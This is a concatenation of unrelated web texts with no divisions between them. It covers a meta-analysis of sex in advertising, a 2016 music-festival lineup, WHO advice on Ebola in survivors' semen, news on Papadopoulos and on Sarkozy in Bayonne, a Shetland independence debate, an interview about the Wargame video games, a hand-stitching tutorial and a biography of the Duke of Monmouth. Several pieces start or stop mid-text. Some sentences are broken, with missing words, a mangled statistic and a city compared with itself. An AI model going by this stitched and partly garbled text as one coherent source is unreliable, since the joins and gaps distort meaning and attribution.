These are some of the questions examined in a recent meta-analysis by Wirtz, Sparks, & Zimbres (2017). The researchers searched the literature and found about 80 studies, representing about 18,000 participants. They sought to find out what effects featuring sexually provocative material had, on average (defined in terms of style of dress, sexual behavior, innuendo, or sexual embeds, which is where hidden messages or images are placed within the ad, like the word "sex" added somewhere to the picture, which is something people apparently think is a good idea sometimes). These ads had to have been compared with a comparable, non-sexual ad for the same product to be included in the analysis to determine which was more effective.
The effectiveness of these ads were assessed across a number of domains as well, including ad recognition (in aided and unaided contexts), whether the brand being advertised in the ad could be recalled (i.e., were people paying attention to just the sex, or did they remember the product?), the positive or negative response people had to the ad, what people thought about the brand being advertised with sex, and whether the ad actually got them interested in purchasing the product (does sex sell?).
Finally, a number of potentially moderating factors that might influence these effects were considered. The first of these was : did these ads have different impacts on men and women? Other factors included the gender of the model used in the advertisement, the date the article was published (to see if attitudes shifted over time), the sample used (college students or not), and, most interestingly, product/ad congruity: did the type of product being advertised matter when it came to whether sex was effective? Perhaps sex might help sell a product like sun-tan lotion (as the beach might be a good place to pick up mates), but be much less effective for selling, say, laptops.
In terms of capturing attention, sex works. Of the 20 effects looking at the recall for ads, the average size was d = .38. Interesting, this effect was slightly larger for the congruent ads (d = .45), but completely reversed for the incongruent ones (d = -.45). Sex was good at getting people to remember ads selling a sex-related product, but not just generally useful. That said, they seemed better at getting people to remember just the ads. When the researchers turned to the matter of whether the brands within the ads were more likely to be recalled, the 31 effects looking at brand recognition turned out to barely break zero (d = .09). While sex might be attention-grabbing, it didn't seem especially good at getting people to remember the objects being sold.
Regarding people's attitudes towards the ads, sex seems like something of a wash (d = -.07). Digging a little deeper revealed a more nuanced pictured of these reactions, though: while sexual ads seemed to be a modest hit with the men (d = .27), they had the opposite effect on women (d = -.38). Women seemed to dislike the ads modestly more than men liked them, as sexual strategies theory would suggest (for the record, the type of model being depicted didn't make much of a difference. In order, people liked males models the least (d = -.28), then female models (d = -.20), and couples were mildly positive, d = .08).
Curiously, both the men and women seemed to be in agreement regarding their stance towards brands that used sex to sell things: negative, on the whole (d - =.22). For women, this makes some intuitive sense: they didn't seem to be a fan of the sexual ads, so they weren't exactly feeling too ingratiated towards the brand itself. But why were the men negatively inclined towards the brand if they were favorably inclined towards the ads? I can only speculate on that front, but I assume it would have something to do with their inevitable disappointment: either that the brands were promising on sex the male customers likely knew they couldn't deliver on, or perhaps the men simply wanted to enjoy the sex part and the brand itself ended up getting in their way. I can't imagine men would be too happy with their time being interrupted by an ad for toilet paper or fruit snacks mid-video.
Finally, turning the matter of purchase intentions—whether the ads encouraged people to want to buy the product or not—it seemed that sex didn't really sell, but it didn't really seem to hurt, either (d = .01). One interesting exception in that realm was that sex appeals were actually less likely to get people to buy a product when the product being sold was incongruent with the sexual appeal (d = -.24). Putting that into a simple example, the phrase "strip club buffet" probably doesn't whet many appetites, and wouldn't be a strong selling point for such a venue. Sex can be something of a disease vector, and associating your food with that might illicit more than a bit of disgust.
Source: Flickr/Thomas Hawk
As I've noted before, context matching matters in advertising. If you're looking to sell people something that highlights their individuality, then doing so in a context works better than in a context of (as animals aren't exactly aiming to look distinct when predators are nearby). The same seems to hold for using sex. While it might be useful for getting eyes on your advertisement, sex is by no means guaranteed to ensure that people like what they see once you have their attention. In that regard, sex - like any other advertising tool - needs to be used selectively, targeting the correct audience in the correct context if it's going to succeed at increasing people's interest in buying. Sex in general doesn't sell. However, it might prove more effective for those with more promiscuous attitudes than those with more monogamous ones; it might prove useful if advertising a product related to sex or mating, but not useful for selling domain names (like the old GoDaddy commercials); it might work better if you associate your product with things that lead to sex (like status), rather than sex itself. These are all avenues worth pursuing further to see when, where, and why sex works or fails.
The Goldenvoice Entertainment-produced festival is set for Oct. 7-9 at the Empire Polo Field. The Stones and Dylan are featured on Friday; McCartney and Young – who is appearing with the band Promise of the Real – follow on Saturday; and Desert Trip wraps up with Sunday-night performances by the Who and Waters.
Reserved seats and general admission passes go on sale May 9 at 10AM PT at DesertTrip.com . Three-day general admission passes are $399; reserved floor passes are $699, $999 and $1,599. Reserved grandstand passes for the entire festival are $999 and $1599. Standing pit passes for all three days are $1,599. For those making a shorter visit, single-day general admission passes are $199.
Rumors of this eye-popping lineup first began circulating in mid-April, followed by a partial confirmation from Roger Daltrey and then a series of teaser videos from the participants, all of which concluded with a one-word tagline: "October."
The Rolling Stones' promo clip featured "All Down the Line" from Exile on Main St. . Waters' teaser included music from Pink Floyd 's “Brain Damage.” The Who used “My Generation,” while Dylan incorporated “Ballad of a Thin Man.” McCartney chose to include a live take on "I've Got a Feeling," from the 1970 Beatles finale Let It Be .
The WHO has urged Ebola survivors to be even more cautious during sexual contact to ensure the virus is not passed on to their partners.
The warning comes after a survivor was found to have traces of Ebola in his semen almost six months after recovery.
This is some 90 days later than previously documented.
It is unclear whether Ebola can still be spread at this point. But officials have launched further investigations to evaluate the risks.
New evidence
There have been no proven cases of Ebola being transmitted through sexual contact with survivors during this or previous outbreaks.
But according to Dr Nathalie Broutet, a medical officer at the World Health Organization, the recent case prompted experts to strengthen their advice.
Dr Broutet told the BBC: "The patient is the first we have seen where there is a trace of virus present in semen beyond three months.
"This made us change our recommendations to go beyond three months."
The new advice says: "For greater security and prevention of other sexually transmitted infections, Ebola survivors should consider correct and consistent use of condoms for all sexual acts beyond three months until more information is available."
It builds on previous guidance suggesting abstinence or safe sex up to 90 days after symptoms first develop.
But Dr Broutet cautioned further analysis must be done.
"Even though the sample was positive for fragments of the virus this does not prove it was passed on sexually.
"We need to be very careful and need more clarity about this," she said.
Scientists are planning to send the sample to the Centres for Disease Control in the United States to see if the traces of Ebola they found are active and capable of being spread.
And Dr Broutet is helping to set up studies in Sierra Leone and Guinea to offer male survivors further checks.
According to the WHO, there is no current evidence to suggest that active Ebola virus is present in vaginal fluids once someone has recovered.
Ebola is known to spread through close contact with the bodily fluids of a person who has the active virus and shows symptoms of the disease - such as a high fever.
No, the problem with a Trumpified Caesar is that the conceit fails to illuminate our moment the way a good classical allusion should.
The decadent years of the Roman Republic are as good a comparison point for our late-republican discontents as any in the history books, and a creeping Caesarism in the executive has been a feature of our politics for many years. But between his military prowess, his reforming energy and his immense (if fluctuating) popularity, old murdered Julius himself is a relatively poor analogue for Trump. Our president is a different sort of character, in need of a different sort of script.
Papadopoulos pleaded guilty to making a false statement to the FBI about interactions with foreign officials close to the Russian government
Washington (CNN) Former Trump campaign adviser Michael Caputo downplayed George Papadopoulos' role in the 2016 campaign, calling him a volunteer "coffee boy" -- despite the fact that then-candidate Donald Trump called him an "excellent guy" last year.
"He never showed up at Trump Tower. Never had any interaction with any of the campaign leaders around me, and the leaders of the Washington office of the campaign didn't even know who he was until his name appeared in the press," Caputo told CNN's "New Day" on Tuesday.
On Monday, it was revealed that Papadopoulos, a foreign policy adviser for the Trump presidential campaign, pleaded guilty to lying to the FBI about interactions with foreign officials close to the Russian government.
Trump described Papadopoulos by name in 2016 as an "excellent guy" when listing his advisers for foreign policy to The Washington Post. An image released on Trump's Instagram account last year also shows Papadopoulos seated at the same table with Trump and then-Alabama Sen. Jeff Sessions, who was leading Trump's national security advisory team, during a meeting.
Meeting with my national security team in #WashingtonDC. #Trump2016 A post shared by President Donald J. Trump (@realdonaldtrump) on Mar 31, 2016 at 7:09pm PDT
Caputo, however, suggested Papadopoulos had no serious role in the campaign's inner workings.
However the hour-long debate, in which MSP Tavish Scott spoke for the “no” campaign and SNP member Danus Skene and Glasgow-based Yes Scotland youth co-ordinator Ross Greer spoke for independence, did manage to shift opinion in the “yes” direction.
Before the debate a ballot was taken – 20 returns yielded four “yes”, 10 “no” and six “don’t know” votes. Afterwards this had changed to nine “yes”, 11 “no” and only two who did not know.
This was very encouraging, said Mr Greer, who is a member of the Green Party.
Opening the debate, he stressed that he did not support the SNP and the issue was not about “one flag or the other”, but about democracy, fairness and prosperity. He said that with only four per cent representation at Westminster, Scottish influence was “negligible”. Scots do not get what they vote for and the system “doesn’t work for us,” he said.
He said Scotland is the eighth wealthiest country in the world but one in four children lives in poverty – in the comparable country of Denmark it is one in 20. Given Scotland’s “vast wealth” it should be an “incredibly prosperous” nation.
Mr Scott responded by saying that Scotland, including Shetland, has the “best of all worlds” by being in the UK. Scotland can set its own policies for health, education and transport but at the same time benefit from the power of the UK internationally. “To ignore all that would be a mistake.”
The benefits could be seen within the UK too – he gave the example of Sir Chris Hoy, who could not have achieved his Olympic medals had he not been part of Team GB. On a personal note, he did not want to use a passport when visiting family in the west country of England.
Mr Skene called issues such as passports a “distraction”. He said the vote in the referendum was about giving Scotland, rather than the UK, the right to make fundamental choices: “It’s about moving from lack of opportunity and imposition to making up our own minds.”
This would include currency. Mr Scott said he did not know what this would mean for an independent Scotland – it could possibly result in Angela Merkel setting the budget.
He also said that the “yes” campaigners were taking a chance “benchmarking” the whole economy on the price of oil and gas, but Mr Skene said the uncertainty prevailed at UK level too. In any case Scotland would have renewables, and separate fiscal arrangements would enable the country to help small and medium-sized businesses.
But again he did not want to dwell on details: “It’s like moving house and worrying about the clutter under the kitchen sink.” He said it was about “my country looking after itself” and that the time was up for the partnership of 300 years, which had been of “greater or lesser effectiveness.”
Responding to a comment that Scotland might find it more difficult to be effective on a “smaller stage”, Mr Greer said that although the UK had many embassies throughout the world it did not necessarily conduct itself well with its “imperialist attitudes”. Arms had been sold to Saudi Arabia and asylum seekers had been sent home to their death.
On a topic closer to home he asked: “What possible benefit does Trident have for us?”
Mr Scott said that being part of the EU had benefited Shetland businesses, and if Scotland had to re-negotiate entry terms, it was possible that: “Spanish fishermen will rub their hands in glee”.
But Mr Skene said the issue was not about money, it was about “self-management” from a country “sure of its own identity”.
Mr Greer agreed that the vote should be about creating a fairer society rather than personal wealth, and pointed out that the UK is in debt to China. But Mr Scott retorted: “Of course it’s about money.”
The debate touched on peripherality – would a centralised government in Edinburgh be any better than a centralised government in Edinburgh? Mr Greer said: “democracy works better on a smaller scale”, and, in his summing up, Mr Skene said that from a Shetland point of view the best chance of increased powers of autonomy would be through a “yes” vote.
With the recent release of Wargame: Red Dragon's third nation pack double-whammy, it feels as good a time as any to reassess the merits of Eugen's Cold War strategy series. In particular, the most recent entry is still receiving paid and free content, still getting updated and still the best real-time game in town; Red Dragon remains the go-to for a materiel sandbox that balances relative accessibility with a fastidious attention to detail. As far as non-hex operational efforts, Red Dragon is the only game in town.
For the uninitiated, the Wargame series is as much about managing variable outcomes as it is logistics and territory control. The great tumult of a combined arms clash is illustrated beautifully, be it witnessed as NATO designation chits crawling over a lavish map, or boots-on-the-ground ogling amid the crunch of rending metal and crackle of arms. There are few hard counters. A small group of motivated infantry can halt an armoured column. A brace of T-34/85s may just win the day from their forested nook. Light AA vehicles can set their sights low and rasp an infantry detachment into oblivion, or rattle them enough to severely affect combat proficiency. And M60A2 Starships just might be worth a damn. It's all a glorious, chaotic opera of ordnance and boldness.
"We wanted to create a more simulation oriented RTS than usual." Eugen Systems' co-founder and Wargame creative director-producer Alexis Le Dressay explained. I was lucky enough to get his insight and reflections on the series. It had always been fun to posit what the French developers were specifically referencing in the series, and the influences are relatively clear.
"If I were to refer to a single inspiration," he continued, "it would be the Close Combat series, although on a larger scale. Regarding the context of the Cold War, our main inspirations were Third World War ‘what if?’ novels, such as Tom Clancy’s 'Red Storm Rising' or Ralph Peters’ 'Red Army'." Le Dressay went on to cite movies like John Badham's WarGames and WOPR as having no small part in colouring how Wargame itself turned out. Of course, real history played a part, with close calls such as ABLE ARCHER and the Cuban Missile Crisis helping to craft a speculative Cold War battlefield.
Le Dressay and Eugen have been crafting battlefields since the turn of the century, and it's fascinating to have seen them go from genre convention to shifting the goalposts entirely. The Act of War series appeared as Europe's answer to Command & Conquer: Generals, but it was with RUSE that people rightly sat up and took notice. Eugen's stylized game of operational information and deception remains one of the most interesting military strategies out there, with its war room aesthetic and emphasis on parsing intel. Shifting from then-publisher Ubisoft to Focus Home Interactive, the team debuted their Cold War project in 2012's Wargame: European Escalation.
"Our idea," Le Dressay said, "was to explore realism and simulation."
The early prototypes for Wargame were quite different to what became the series' hallmark large-scale combined arms engagements. Unlike the abstracted unit scaling of RUSE, Wargame notably retains the correct dimensions for it materiel. Le Dressay used infantry as an example of challenges to be overcome in the early days. "They were very boring playing with, very difficult to see and were deploying without vehicles."
Getting the right feel of engagement -- that classic Wargame lethality, informed by realism -- was crucial, and where the initial infantry combat felt anemic, it was the team's initial modelling of armour firepower and mobility that set the tone for the entire series. "We started prototyping the Abrams M1A1, and the first firing system we did -- aiming, shooting and exploding a BMP2 with one shell -- was very close to what we use now. It really helped us project where we wanted the game to go."
Wargame: European Escalation shipped with three hundred and fifty military units across the NATO-Warsaw Pact divide. It was somewhat of a paradigm shift for the genre, certainly one that had grown up under the Blizzard and Westwood marquis of hard counters and lean unit numbers. For a genre that prides itself on clean, clear balance, European Escalation was an undertaking that many gamers found daunting. What was the difference between a Challenger 2 and its French AMX contemporary? Why would someone choose a Crotale over its similar equivalent? Moreover, why choose something well-superseded in place of advanced hardware?
"Balance always was an issue indeed. And still is to this day. We keep constant tracks of the server stats and win ratio for each faction and nation, in order to adjust balance if we realize that a nation or particular deck seems to become too powerful," Le Dressay said. "Yet we’ve always stated that all the nations couldn’t be on an equal footing. If Warsaw Pact and NATO are well balanced between each other’s, as well as the major players, it will always be a challenge for Denmark to take on the mighty Soviet Union alone. And it is intended that way."
He went on to say the team is fastidious in modeling both the asset and the plethora of stats surrounding it. European Escalation had the aforementioned three hundred and fifty, 2013 follow-up AirLand Battle upped the count to seven hundred and fifty, with over one thousand individual pieces of kit in 2014 for Red Dragon; all meticulously represented in look and capability.
"We tried to model them as close to reality as could be," Le Dressay explained, "and then, it was a question of balancing through price and availability."
Which ultimately led to greater strategic and tactical questions than evaluating the proficiency and deficiencies of comparative hardware, adhering to notions of what class should consist of. In a game that catered for the tail-end techno-marvels of high speed, high impact and highly-stabilised MBTs as well as T-34/85s, there remains no 'right way' to play in Wargame. The indiscriminate toolset only increased with each iteration.
AirLand Battle introduced fixed-wing aircraft, which greatly enhanced engagement, as Le Dressay explained.
"The planes’ integration was a major step, a game-changing one, and it went pretty well and smoothly. They brought new depths to the game and gave it a bit more tempo. That’s definitively one of the game best additions and a popular one among the community."
As the unit count increased, so did the nations involved. It was a point of pride for the team, particularly when the Cold War in fiction almost inevitably focuses on Washington and Moscow. Eugen's integration of smaller, but no less diverse and intricate, nations continues to be a large part of its appeal.
"Highlighting major yet unsung countries of the Cold War is also something we can pride ourselves with," Le Dressay said. "Cold War games, movies or literature usually restrict this era to a Soviet-US confrontation, with an occasional reference to the UK or Germany. With Wargame, we brought other countries and armies into the light, like Poland, Czechoslovakia and of course France."
Shortly after European Escalation’s release, the team received a letter from a Czech journalist. He thanked Eugen for including the Czechoslovakian military, and moreover for creating a game devoid of geo-political cliché.
"That’s something we’re proud of."
Not every addition worked out for the better. While AirLand Battle's fighter-bomber additions were celebrated, Red Dragon's naval aspect fell short.
"It is no secret," Le Dressay admitted, "that the naval element in Red Dragons didn’t suit the community’s expectations." While coastal support offers an interesting dynamic, pure naval engagement never felt quite right. Ship-to-ship combat felt anachronistically short-range, as though the firing parameters used on land were quickly ferried offshore. Emphasis on ship-to-ship missiles and electronic warfare was a non-starter, and the distinct absence of submarine warfare was a missed opportunity.
But at the same time, Red Dragon's shift to the Far East was welcomed. Its topography was varied and often mountainous, with the requisite armies of Asia's military might on detailed show. An anaemic naval module could be excused in light of the fresh materiel.
Wargame has received admirable post-release support, with all three entries getting a number of free expansions. A number of community favourite maps were ported from European Escalation and AirLand Battle to Red Dragon. Red Dragon was also the first to offer paid DLC, with the first community-voted nations pack releasing in May of 2016.
To Eugen's credit, DLC wasn't designed to fragment the community between those who bought and those who didn't; each pack simply expanded a player's arsenal. After the Netherlands military debut, Israel followed. The Finland-Yugoslavia double pack is the third of Wargame's paid expansions. While the community votes on which military will see the light of day in future packs, Le Dressay doesn't discount future content releasing independent from player choice.
"It has to be seen as obvious when we decide to launch the expansion," he said, "but to be honest, both can work."
And while three iterations might seem like the right time to put Harold Coyle back on the shelf for good, Le Dressay and the team are adamant there's plenty more to investigate. "How could we have said everything there has to be about the Cold War? There are still so many countries, theatres and historical incidents we could use for more 'Cold war gone hot'!"
So there's room for that South African faction yet.
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DIY Level: Beginner to Intermediate
Materials Needed:
Thread or embroidery floss in the appropriate color/type
Needle
Fabric
Scissors
The six stitches we’ll be learning today are: running baste stitch and running stitch, catch stitch, blanket stitch, whip stitch, slip/ladder stitch, and back stitch.
Running Baste Stitch
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Thread your needle and tie a knot at the end of your thread.
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Place the tip of your needle on the underside of your fabric, and press it upward through the fabric at your starting point. Pull the thread taut.
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About 1/2″ to 3/4″ away, press the tip of your needle straight down through your fabric. Don’t pull the needle all the way through.
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Keeping the needle in the fabric, push the needle forward until the tip reaches the same 1/2″ to 3/4″ distance. Press the tip upward through the fabric at that point.
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Pull the needle and thread through the fabric.
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Pull the thread all the way through and taut.
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Press the tip of the needle down through the fabric another 1/2″ to 3/4” away from the exit point of your last stitch, and repeat the stitch.
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Continue working in this wide, even, and straight baste stitch.
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STITCH USE: The running baste stitch is useful for temporarily holding two pieces of fabric together and in place. The running baste stitch is not as strong as the running stitch but is much faster to sew.
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Running Stitch
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Thread your needle and knot your thread at the end. Press the tip of your needle on the underside of your fabric, and bring the needle up through to the top of the fabric until the knot touches the back of the fabric. In the same method as your running baste stitch, you’re going to maneuver the tip of your needle above and below the fabric to create the stitches. Because the running stitch is small, you can probably weave two or three stitches onto the needle before pulling the needle and thread through the fabric completely.
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Working in two- or three-stitch needle lengths like this is an efficient way to sew this straight seam.
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Pull the needle and thread through the fabric completely, and pull it taut before moving onto the next set of stitches.
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STITCH USE: This straight running stitch is the most fundamental of seams. You can easily adjust the length of each stitch to match your project’s needs. Keep in mind that the shorter each stitch is, the stronger your overall seam will be.
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Catch Stitch
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Thread the needle and knot the thread at the end. Press the tip of your needle on the underside of your fabric hem (so the knot is hidden), and bring the needle up through to the top of the fabric until the knot touches the back of the fabric. Your needle and thread should be on the left side of your fabric; you’ll be sewing from left to right.
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Place the tip of your needle about 1/2″ to 3/4″ above your exit thread (on the other piece of fabric), then move it to the right about 1/8”. At this point, press just the needle tip down through your fabric to the underside. Aim the tip of the needle about 1/8” to the left. (This part of the catch stitch may feel backward, because it’s running from right to left.)
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Pull the whole needle and thread up to the top of your fabric, and pull the thread taut.
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To create the “X” that is the signature of the catch stitch, press the tip of your needle about 1/2″ to the right of your very first thread exit. Press just the tip of the needle down to the underside of your fabric, then bring it back up to the top of your fabric about 1/8” to the right.
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Pull the whole needle and thread through, and pull the thread taut. You’ve created your first catch stitch.
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Continue these steps to create a length of catch stitches. It’s helpful for this stitch, which feels backwards at times, to remember that the “top” of the stitch is a right-to-left stitch, and the “bottom” of the stitch is left-to-right. I tried to illustrate this with red arrows, although if they’re too confusing, just ignore them.
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Don’t be afraid to pick up your fabric and rotate it around as you get more comfortable with the stitch. This will help you to create more precise and accurate stitch lengths and positions.
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Continue on until you’ve completed the length of your catch stitch seam. It’s like a zigzag stitch I process with Xs as the end result.
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STITCH USE: The catch stitch is a great stitch choice for hems. It’s nearly invisible from the front of your fabric. The “X” nature of this stitch provides a little give to the hem, which is useful. Another useful place for this stitch is to attach thicker/heavier lining fabrics to the hemline, such as sewing on curtain linings.
Blanket Stitch
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Thread your needle and knot the thread at the end. Press the tip of your needle into the underside of your fabric about 1/2″ away from the hem, and bring the needle up to the top of the fabric. This seam will run right to left, so you’ll want to be on the right end of your seam.
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Pull the entire needle and thread through the top of the fabric until the hidden knot touches the underside of the fabric.
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For this first stitch, to get the blanket stitch started, you’ll want to loop the thread around the hemline and press the tip of your needle onto the underside of your fabric at the same spot you just came through. Pull the needle and thread through this same hole.
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Pull the thread but don’t pull it all the way taut. Instead, keep a small loop of thread out.
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Take your needle and run it through the loop, going left to right.
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Pull the thread taut, but not so tightly that it bunches up the end of your fabric. Your free thread should meet up with your stitch at the hemline (shown by a red dot on the photo). If it doesn’t, as was the case for me, work the threads around each other so that the point of separation is at the hemline.
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Press the tip of your needle on the underside of your fabric about 1/2″ to the left of your original thread exit and also 1/2″ away from the hemline.
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Pull the entire needle through to the top of your fabric, and pull your thread until only a small loop remains.
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Thread your needle through this loop, running left to right.
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Pull the thread taut until it creates what looks like a square without a top.
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Essentially in the blanket stitch, each stitch holds the previous one in position and in place.
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Continue to lengthen your blanket stitch as far as you need it to go.
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I actually find this stitch fascinating, because it feels like you’re working in diagonals, but the end result is a bunch of right angles.
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The blanket stitch is known for its visibility along the very edge of the fabric.
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It’s a pretty decorative stitch, as far as basic hand stitches goes.
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STITCH USE: The blanket stitch is actually used for decorative fabric joints. Common uses include finishing the edges of blankets, finishing felt projects or toys, and sewing appliqué. Where other stitches tend to blend in, this one is best served when it’s visible. Choose your thread accordingly.
Whip Stitch
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Thread your needle and knot the thread at the end. Bring the needle up to the top of the fabric from the underside so the knot is hidden. This stitch is most easily sewn vertically.
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Press the tip of your needle into the other fabric’s top about 1/2″ diagonally above-right your original exit point. Then aim your needle, from the underside of the fabric, about 1/2” above-left (back to the original fabric hem).
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Pull the whole needle and thread through to the top of the original fabric, and pull the thread taut.
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Continue this method (diagonal-right, diagonal-left) to create a barbershop pole-looking seam.
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Due to the diagonal nature of these stitches, it’s easy for your stitches to become more and more uneven in length and spacing. Do your best to keep them consistent, referring back to your original stitches frequently to make sure they stay the same further up the seam.
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STITCH USE: The whip stitch is a very simple and satisfying stitch because it’s fast and easy. The short, diagonal stitches are used for hemming things like window treatments because they’re practically invisible when done on a hem.
Slip Stitch/Ladder Stitch
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Thread your needle and knot the end of your thread.
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Press the tip of your needle onto the underside of your fabric up in one of the folds. Pull the needle and thread all the way through so the knot is invisible.
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Press the tip of your needle on the opposite hem directly across from the original exit point. Push the tip of the needle into the fabric so that the tip of the needle follows the hem inside the fold.
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Exit the needle tip from the hem fold about 1/2″ to 3/4″ away from the insertion point.
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Pull the whole needle and thread out from the folded hem, and pull the thread taut. This will close up the first “rung” of your ladder stitch.
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Now, press the tip of your needle onto the opposite hem (the one with your original exit point), directly across from this most recent exit point.
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Thread the tip of the needle through the folded hem about 1/2″ to 3/4″ away from the insertion point, then exit the needle.
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Pull the whole needle and thread out, and pull it taut. It’s looking a little like a ladder, with each stitch serving as a rung between the two vertical hems.
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Continue in this way until you’ve completed your slip stitch seam.
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You can see here that I haven’t pulled the thread all the way tight yet. This is to illustrate what the stitch is meant to look like.
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When I give it a quick tug, though, you can see here that the thread all but disappears.
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STITCH USE: The slip stitch (aka “ladder stitch”) is most commonly and effectively used for closing up homemade pillows. When you choose a thread that matches your fabric, the stitch becomes pretty much invisible.
Back Stitch
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Thread your needle and knot the thread at the end. Press the tip of your needle onto the underside of your fabric about 1/2″ in front of your actual seam starting point (designated by a red dot on this photo). Pull the whole needle and thread through to the top of your fabric, and pull the thread so the knot touches the underside of the fabric.
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Press the tip of your needle onto the top of your fabric at the location of your actual seam start, which will be about 1/2″ down from your original exit point. This stitch feels backward because, well, half of the stitches are sewn backward from the overall direction of the seam.
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Pull the whole needle and thread through to the underside of your fabric, and pull the thread taut. It looks just like a regular running stitch, but it was sewn backward for a reason.
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Press the tip of your needle onto the underside of your fabric about 1/2″ in front of the original exit point, which is the top point of the visible stitch shown here.
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Pull the whole needle and thread through to the top of your fabric, and pull the thread taut.
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Press the tip of your needle onto the top of your fabric at or very near the original exit point, aka the “top” of your last stitch.
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Pull the whole needle and thread through to the underside of your fabric. Pull the thread taut to create your second back stitch.
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Continue in this “two steps forward, one step back” method until you’ve completed your back stitch seam.
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Isn’t it pretty? The straight, solid line of the back stitch is a beauty, I think.
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STITCH USE: The back stitch is not only pretty, it’s strong. Super strong. In fact, it’s primary purpose is for sewing seams that require heavy duty strength. The back stitch is also used for basic embroidery and forming letters in stitching.
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The stitches are all unique and serve similar but distinct purposes. Knowing how to do these stitches and when to use them will hopefully serve you well. This information can also make it possible to accomplish a variety of DIY projects without purchasing a sewing machine, if that’s your goal.
Some in the crowd then threw eggs at the bar guarded by riot police in the south-western town of Bayonne.
Mr Sarkozy described the protesters - Basque nationalists and supporters of his rival Socialist candidate Francois Hollande - as "hooligans".
He left the bar after about an hour.
The Basque region straddles south-western France and northern Spain.
Sarkozy 'saddened'
Mr Sarkozy was met in Bayonne by a hostile crowd, who jeered him and shouted insults.
Some chanted "Nicolas kampora", which in the Basque language meant "Nicolas get out".
Mr Sarkozy was also showered with campaign leaflets calling for greater Basque autonomy.
Riot police had to be deployed around the Bar du Palais, where the president took refuge.
Visibly angry, Mr Sarkozy later denounced "the violence of a minority and their unacceptable behaviour".
"Here, we're in France, on the territory of the French republic, and the president of the republic will go everywhere. And if that doesn't please a minority of troublemakers, too bad for them", he said.
He also said he was "saddened to see Hollande's Socialist militants associating with [Basque] separatists in violent protests to terrorise ordinary people who want just one thing: to meet and talk with me".
A senior member of Mr Hollande's campaign team later said that while the party leader condemned any violence, no Socialist was involved in the Bayonne incident, the AFP news agency reports.
Early Life
James Scott, otherwise known as James Croft, was the illegitimate son of King Charles II, he was born on 9 April 1649 in Rotterdam in the Netherlands, where his 18 year old father was living in exile following the execution of Charles I. His mother was Charles' mistress Lucy Walter, otherwise known as Mrs. Barlow (pictured below right).
Lucy Walter, described as "brown, beautiful, and bold" was of Welsh extraction, the daughter of Richard or William Walter, of Roch Castle and of Haverfordwest and his wife Elizabeth Protheroe. James, or 'Jemmy', as he was known, inherited the dark good looks of his mother, when Lucy's relationship with Charles ended, she indulged in a series of relationships with other men, the young James and a daughter, Mary, fathered by another lover, experienced a casual upbringing, and was often "so poor that his shoes needed repairing."
Aware that Charles wished to remove her son from her care, Lucy fled to England, where she and her son were imprisoned in the Tower of London by Cromwell and questioned. James and his mother were later released and sent to Flanders. In March 1658 the young James was kidnapped by Edward Progers, Charles'confidential page of the back stairs and sent to Paris where he was placed in the care of the Crofts baronets, whose surname he adopted. He later went to live with his grandmother, Henrietta Maria of France, James was to become close to her and his aunt, the youngest child of Charles I, Henrietta Anne Stuart, known as 'Minette'.
Henrietta Maria was a devout Catholic and placed James under the instruction of Father Geoffe of the Oratorian College of Notre Dame des Verlus, but later a Thomas Ross, a Scottish protestant, became his tutor. He was later educated at Petit Ecoles, in Le Chesney near Paris. His education was patchy, which he grew to regret when he was older.
Rumour stated that Charles had secretly married Lucy. Monmouth later himself always claimed his parents were married, and that he possessed their marriage lines, but failed to ever produced them. To scotch these rumours, Charles II announced, in his lifetime, that he had never been married to anyone other than his Queen, Catherine of Braganza.
Doubts have been cast on the paternity of the Duke of Monmouth. According to Hugh Noel Williams, Charles had not arrived at The Hague until the middle of September 1648, which was but seven months before James' birth, although he met Lucy for the first time nine months before. Rumour stated that James' mother had been mistress of Colonel Robert Sidney, a younger son of the Earl of Leicester, in the summer of 1648.
As an adult, contemporaries claimed that Monmouth bore a much stronger resemblance to Sidney than the Bourbon looking Charles. These rumours probably originated from the James, Duke of York, Charles II's brother, who was feared his nephew's claims to the throne. In 2012, a DNA test was conducted on Monmouth's direct descendant in the male line, the Duke of Buccleuch, revealed that he shared the same Y-chromosome (inherited from father-to-son) as a distant Stewart cousin, a descendant of Charles Stewart of Ardshiel, providing strong evidence that Monmouth was the son of Charles II
In the Reign of Charles II
After the Restoration of his father to the English throne, James was brought to London by Henrietta Maria, described by the diarist Samuel Pepys as "Mr. Crofts, the King's bastard, a most pretty spark of about fifteen years old". Charles II had made much of his eldest son, on 14 February 1663, at the age of 14, he was created Duke of Monmouth with the subsidiary titles of Earl of Doncaster and Baron Scott of Tynedale. He was married to the wealthy heiress Anne Scott, 4th Countess of Buccleuch on 20 April 1663 and took his wife's surname. The day after his marriage, they were made Duke and Duchess of Buccleuch, Earl and Countess of Dalkeith and Lord and Lady Scott of Whitchester and Eskdale.
Charles II's Portuguese queen, Catherine of Braganza, failed to produce a legitimate heir. James' Protestantantism made him a popular figure in England, as opposed to the heir to the throne, James, Duke of York, who had openly converted to Catholicism.
In 1665, at the age of 16, Monmouth served in the English fleet under his uncle the Duke of York in the Second Anglo-Dutch War. In 1678 he was made commander of the Anglo-Dutch brigade, now fighting for the United Provinces against the French and he distinguished himself at the Battle of St Denis in August 1678 during the Franco-Dutch War, further increasing his reputation. The following year, after his return to Britain, he commanded the small army raised to put down the rebellion of the Scottish Covenanters and despite being heavily outnumbered, he decisively defeated the Covenanter rebels at the Battle of Bothwell Bridge on 22 June 1679. Monmouth separated from his wife, Anne Scott, whom, at his death, he claimed "never to have much cared for" and lived openly with his mistress, Henrietta Wentworth, who John Evelyn was to refer to as 'that debauched woman'.
Monmouth barely escaped trial for his involvement several plots, including the Ryehouse Plot, a conspiracy in 1683 which aimed at the assassination of Charles II and the Duke of York on their way to Newmarket in order to secure the succession of Monmouth to the throne, when the plot was discovered Monmouth swore he did not agree to it, but Charles, with good cause, no longer trusted his son. Spared by the king during trials of his colleagues, Monmouth moved to the Continent, where Henrietta Wentworth joined him, he was never to see his father again.
The Monmouth Rebellion
After King Charles II's death and within five months of the accession of James II, in February 1685, Monmouth returned to England to gather an army, landing with three ships at Lyme Regis in Dorset in early June 1685, he declared himself "now head and captain-general of the protestant forces of this kingdom" with a "legitimate and legal" right to the crown, which he promised he would exercise only with the agreement of a free parliament. Although he was popular figure and referred to as "King Monmouth" by many of the commoners, the widespread uprising he had expected failed to occur.
On 6 July 1685 the two armies met at the Battle of Sedgemoor, the last clear-cut pitched battle on open ground between two military forces fought on English soil. Monmouth's makeshift force could not compete with the regular army, and was soundly defeated. Monmouth himself was captured hiding in a ditch disguised as a shepherd and arrested at Ringwood in Hampshire.
